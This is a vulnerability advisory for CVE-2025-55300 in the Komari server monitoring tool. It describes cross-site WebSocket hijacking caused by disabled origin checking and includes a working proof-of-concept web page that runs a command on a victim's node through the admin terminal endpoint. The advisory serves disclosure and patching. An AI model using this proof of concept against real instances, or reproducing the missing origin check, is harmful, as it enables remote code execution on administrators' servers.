CVE-2025-55300

Komari is a lightweight, self-hosted server monitoring tool designed to provide a simple and efficient solution for monitoring server performance. Prior to 1.0.4-fix1, WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users. Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution. This vulnerability is fixed in 1.0.4-fix1.

Details

https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35

Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution

PoC

1. Login in to your komari instance
2. Hosting the following HTML code on internet, replace <komari-addr> and <target-uuid> into yours
3. Visit this HTML page, you can see your node is executing uptime without your actions

<pre></pre>
<script>
const socket = new WebSocket("wss://<komari-addr>/api/admin/client/<target-uuid>/terminal");
socket.addEventListener("open", (event) => {
  const binaryBlob = new Blob(['uptime\n'], { type: 'application/octet-stream' });
  socket.send(binaryBlob);
});
socket.addEventListener("message", (event) => {
  event.data.text().then(x => {document.querySelector("pre").append(x)});
});
</script>

Impact

An administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.
